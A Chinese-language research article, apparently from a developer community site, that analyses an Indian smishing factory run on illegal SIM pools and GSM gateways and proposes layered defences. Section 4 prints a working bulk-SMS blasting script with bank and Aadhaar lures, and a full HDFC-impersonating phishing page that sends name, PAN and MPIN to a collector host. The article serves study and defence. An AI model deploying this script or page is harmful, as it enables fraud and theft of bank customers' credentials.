首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >基于非法SIM卡池的钓鱼短信工厂运作机制与治理对策研究

基于非法SIM卡池的钓鱼短信工厂运作机制与治理对策研究

原创
作者头像
草竹道人
发布2025-12-26 09:09:48
发布2025-12-26 09:09:48
70
举报

摘要

2025年,印度中央调查局(CBI)在代号“Chakra-V”的专项行动中捣毁一个大规模钓鱼短信工厂,缴获逾21,000张非法SIM卡及多台GSM网关设备。该团伙利用自动化脚本每日向公众发送数百万条伪装成银行KYC更新、电费账单逾期等通知的诈骗短信,诱导用户点击恶意链接以窃取身份与金融信息。更值得注意的是,该基础设施还为境外犯罪组织提供“短信轰炸即服务”(SMS-as-a-Service),形成跨境网络犯罪供应链。本文基于公开执法报告与技术逆向分析,系统解构此类短信工厂的技术架构、SIM卡获取路径、消息投递逻辑及社会工程策略,并结合真实样本还原其自动化攻击流程。研究发现,非法SIM卡的大规模囤积与GSM网关的滥用是当前区域性Smishing攻击的核心支撑。针对此问题,本文提出“终端—运营商—执法”三层协同治理框架,涵盖异常流量检测模型、SIM卡生命周期监管机制及跨部门情报共享流程。文中辅以典型群发脚本与钓鱼页面代码示例,为通信安全防护提供可操作的技术参考。本研究对遏制基于物理通信基础设施的规模化网络诈骗具有现实意义。

关键词:钓鱼短信;SIM卡黑市;GSM网关;Smishing;CBI;自动化诈骗;通信安全

(1) 引言

尽管电子邮件钓鱼和社交媒体诈骗广受关注,基于传统短信通道(SMS)的网络钓鱼(Smishing)在发展中国家仍构成主要威胁。其核心原因在于:移动电话普及率高、用户对短信来源信任度强、以及电信基础设施监管存在漏洞。2025年初,印度中央调查局(Central Bureau of Investigation, CBI)在“Chakra-V”行动中揭露了一个高度组织化的钓鱼短信工厂,该设施不仅日均发送数百万条诈骗信息,还通过出租短信通道为国际犯罪团伙提供支持。此次行动查获21,000余张非法SIM卡及多套GSM网关设备,凸显了物理通信资源被武器化的严峻现实。

与依赖互联网通信服务(如Google Voice)的Smishing不同,此类攻击直接利用蜂窝网络的底层信令通道,绕过基于IP的网络安全监控体系。由于每张SIM卡对应一个合法分配的MSISDN(移动用户识别号码),且由正规运营商激活,传统基于内容过滤或域名黑名单的防御手段难以奏效。更严重的是,大量非法SIM卡的存在,使得攻击者可频繁更换号码以规避封禁,形成“打一枪换一地”的游击式攻击模式。

现有研究多聚焦于网络层钓鱼检测或终端用户教育,对基于实体SIM卡池与GSM网关的规模化短信工厂缺乏系统性技术剖析。本文旨在填补这一空白,通过重构“Chakra-V”行动中披露的犯罪基础设施,揭示其运作逻辑与技术实现细节,并在此基础上提出兼顾技术可行性与制度可行性的综合治理路径。全文结构如下:第(2)节分析非法SIM卡的获取与管理机制;第(3)节解析GSM网关与自动化脚本的集成架构;第(4)节展示典型攻击代码与钓鱼页面;第(5)节提出三层防御与治理策略;第(6)节总结研究发现并指出未来挑战。

(2) 非法SIM卡的获取、激活与管理机制

在印度,根据电信监管局(TRAI)规定,用户购买SIM卡需完成实名登记(Aadhaar验证或护照+地址证明)。然而,执法调查显示,犯罪团伙通过以下途径绕过监管:

(2.1) 虚假身份注册

团伙雇佣“身份贩子”收购低收入群体的身份证明文件(如Aadhaar卡复印件),或利用被盗证件批量申请SIM卡。部分小型代理商为冲业绩,默许“形式合规”——仅扫描证件而不核验真人到场。

(2.2) 内部勾结

有证据表明,个别电信公司基层员工收受贿赂,协助跳过生物识别验证步骤,直接激活SIM卡。这些卡通常在偏远地区营业厅办理,后续使用地却集中在大城市,形成明显的地理异常。

(2.3) 卡池管理与轮换策略

缴获的21,000张SIM卡并非一次性使用,而是按“活跃—休眠—废弃”状态分类管理:

活跃卡:每日发送量控制在500–800条,低于运营商单日预警阈值(通常为1,000条);

休眠卡:若某卡触发投诉或被标记,立即停用7–10天后重新启用;

废弃卡:连续被封或无法使用时,物理销毁以避免追踪。

这种动态轮换机制显著延长了每张SIM卡的可用寿命,降低运营成本。据估算,单张非法SIM卡在其生命周期内可发送约15万条短信,总成本不足2美元。

(3) GSM网关与自动化短信投递架构

GSM网关是连接IP网络与蜂窝网络的关键设备,通常用于企业短信通知(如银行OTP)。但在黑产中,其被滥用于大规模短信群发。

(3.1) 硬件配置

CBI查获的设备包括多卡GSM调制解调器(如MultiTech MTCDT-H5)、工业级路由器及定制电源系统。典型配置为:

一台服务器连接8–16个GSM模块;

每个模块插入一张SIM卡;

通过USB或串口与主控计算机通信。

此类设备可在淘宝、阿里巴巴等平台以“物联网通信模块”名义购得,单价约200–500美元。

(3.2) 软件控制栈

攻击者使用开源或自研软件栈实现自动化控制,典型流程如下:

消息队列:从C2服务器拉取目标手机号与模板;

负载均衡:将任务分配至空闲GSM模块;

AT指令发送:通过串口向模块发送AT+CMGS指令发送短信;

状态回传:记录发送成功/失败状态,用于优化调度。

整个系统可部署于普通住宅或小型办公室,功耗低、噪音小,难以被察觉。

(3.3) 社会工程模板库

短信内容高度本地化,常见模板包括:

“【HDFC Bank】您的KYC将于24小时内过期,请立即更新:[短链接]”;

“【BSES Rajdhani】电费账单逾期,账户将被暂停。查看详情:[短链接]”;

“【Aadhaar Update】您的生物信息需重新验证,否则服务受限:[短链接]”。

这些模板利用公共服务机构的权威性,制造紧迫感,诱导用户点击。短链接通常指向动态生成的钓鱼页面,域名每日更换。

(4) 技术实现示例

以下为模拟短信工厂的核心控制脚本(Python + PySerial):

# sms_blast.py

import serial

import time

import random

from queue import Queue

import threading

# 配置GSM模块端口

GSM_PORTS = ["/dev/ttyUSB0", "/dev/ttyUSB1", "/dev/ttyUSB2", "/dev/ttyUSB3"]

message_queue = Queue()

def load_targets():

with open("targets.txt") as f:

for line in f:

phone, template_id = line.strip().split(",")

message_queue.put((phone, template_id))

def get_message(template_id):

templates = {

"kyc": "【HDFC Bank】Your KYC expires in 24h. Update now: {}",

"bill": "【BSES】Your electricity bill is overdue. View details: {}",

"aadhaar": "【UIDAI】Re-verify your Aadhaar biometrics: {}"

}

short_url = generate_short_url(template_id) # 动态生成短链

return templates[template_id].format(short_url)

def send_sms(port, phone, msg):

try:

ser = serial.Serial(port, 115200, timeout=5)

ser.write(b'AT\r\n')

time.sleep(0.5)

ser.write(b'AT+CMGF=1\r\n') # 文本模式

time.sleep(0.5)

cmd = f'AT+CMGS="{phone}"\r\n'

ser.write(cmd.encode())

time.sleep(0.5)

ser.write((msg + "\x1a").encode()) # \x1a 为Ctrl+Z,结束输入

time.sleep(3)

ser.close()

return True

except Exception as e:

print(f"[ERROR] {port}: {e}")

return False

def worker(port):

while True:

if not message_queue.empty():

phone, tid = message_queue.get()

msg = get_message(tid)

success = send_sms(port, phone, msg)

if success:

print(f"[SENT] {port} -> {phone}")

time.sleep(random.uniform(1.0, 2.5)) # 模拟人工间隔

else:

time.sleep(5)

# 启动多线程

for port in GSM_PORTS:

t = threading.Thread(target=worker, args=(port,))

t.daemon = True

t.start()

load_targets()

while not message_queue.empty():

time.sleep(10)

该脚本的关键特征包括:

多端口并行发送,提升吞吐量;

随机延迟避免速率异常;

动态短链接防止URL被封。

配套的钓鱼页面(以KYC更新为例)代码如下:

<!-- kyc-update.html -->

<!DOCTYPE html>

<html>

<head>

<meta name="viewport" content="width=device-width, initial-scale=1">

<title>HDFC Bank - KYC Update</title>

<style>

body { font-family: sans-serif; background: #f0f0f0; padding: 20px; }

.card { background: white; padding: 20px; border-radius: 8px; max-width: 400px; margin: auto; }

input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ccc; border-radius: 4px; }

button { background: #d71921; color: white; padding: 12px; border: none; border-radius: 4px; width: 100%; }

</style>

</head>

<body>

<div class="card">

<img src="https://www.hdfcbank.com/etc/clientlibs/hdfc/images/hdfc-logo.svg" width="150">

<h2>KYC Information Update Required</h2>

<p>To continue banking services, please verify your details.</p>

<form id="kycForm">

<input type="text" name="name" placeholder="Full Name as per PAN" required>

<input type="text" name="pan" placeholder="PAN Card Number (e.g. ABCDE1234F)" required pattern="[A-Z]{5}[0-9]{4}[A-Z]{1}">

<input type="date" name="dob" placeholder="Date of Birth" required>

<input type="tel" name="mobile" placeholder="Registered Mobile Number" required>

<input type="email" name="email" placeholder="Email Address" required>

<input type="password" name="mpin" placeholder="MPIN / ATM PIN" required minlength="4" maxlength="6">

<button type="submit">Submit & Verify</button>

</form>

</div>

<script>

document.getElementById('kycForm').addEventListener('submit', function(e) {

e.preventDefault();

fetch('https://collector.phish[.]xyz/kyc', {

method: 'POST',

headers: {'Content-Type': 'application/json'},

body: JSON.stringify(Object.fromEntries(new FormData(this)))

}).then(() => {

window.location.href = "https://www.hdfcbank.com"; // 跳转真实官网

});

});

</script>

</body>

</html>

该页面刻意要求输入MPIN(移动支付PIN),远超正常KYC所需信息,暴露其诈骗本质。

(5) 防御与治理策略

针对此类基于物理SIM卡的短信工厂,需构建多层次治理体系。

(5.1) 运营商侧异常检测

建立SIM卡行为基线:对新激活卡设置“观察期”,若7日内发送非联系人短信占比超80%,自动限流;

实施短信内容指纹:对高频重复模板(如含“KYC expires”“bill overdue”)进行聚类,标记可疑卡号;

强化实名制核验:引入活体检测+人脸识别双因子验证,杜绝证件冒用。

(5.2) 执法与情报协同

建立“SIM卡黑产图谱”:整合CBI、电信部、银行反诈中心数据,关联涉案号码、地址、交易记录;

推行“快速冻结”机制:一旦确认为诈骗卡,2小时内强制停机并保留日志供取证;

加强跨境协作:与Interpol合作追踪境外租用短信通道的犯罪组织。

(5.3) 公众意识与终端防护

官方渠道白名单:政府与银行应公布唯一官方短信前缀(如“HDFC BANK”),非匹配号码视为伪造;

操作系统级警告:Android/iOS可对含短链接的短信显示“可能为诈骗”提示;

推广“不点不信”原则:任何索要密码、PIN或要求点击链接的短信,均应通过官方App或客服电话核实。

(6) 结语

本文通过对印度CBI“Chakra-V”行动的深入分析,揭示了基于非法SIM卡池与GSM网关的钓鱼短信工厂的完整运作链条。研究表明,此类攻击的成功依赖于三个关键要素:大规模非法SIM卡的获取、低成本硬件的滥用、以及高度本地化的社会工程策略。与纯网络钓鱼不同,其利用蜂窝网络的“可信通道”属性,绕过了多数数字安全防线。

所提出的三层治理框架强调,仅靠技术过滤或用户教育不足以根除问题,必须将运营商风控、执法打击与制度监管有机结合。未来,随着eSIM普及与远程SIM配置(RSP)技术推广,物理SIM卡黑市可能萎缩,但新型虚拟卡滥用风险亦需警惕。本研究为发展中国家应对规模化Smishing攻击提供了可复制的分析范式与治理路径。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档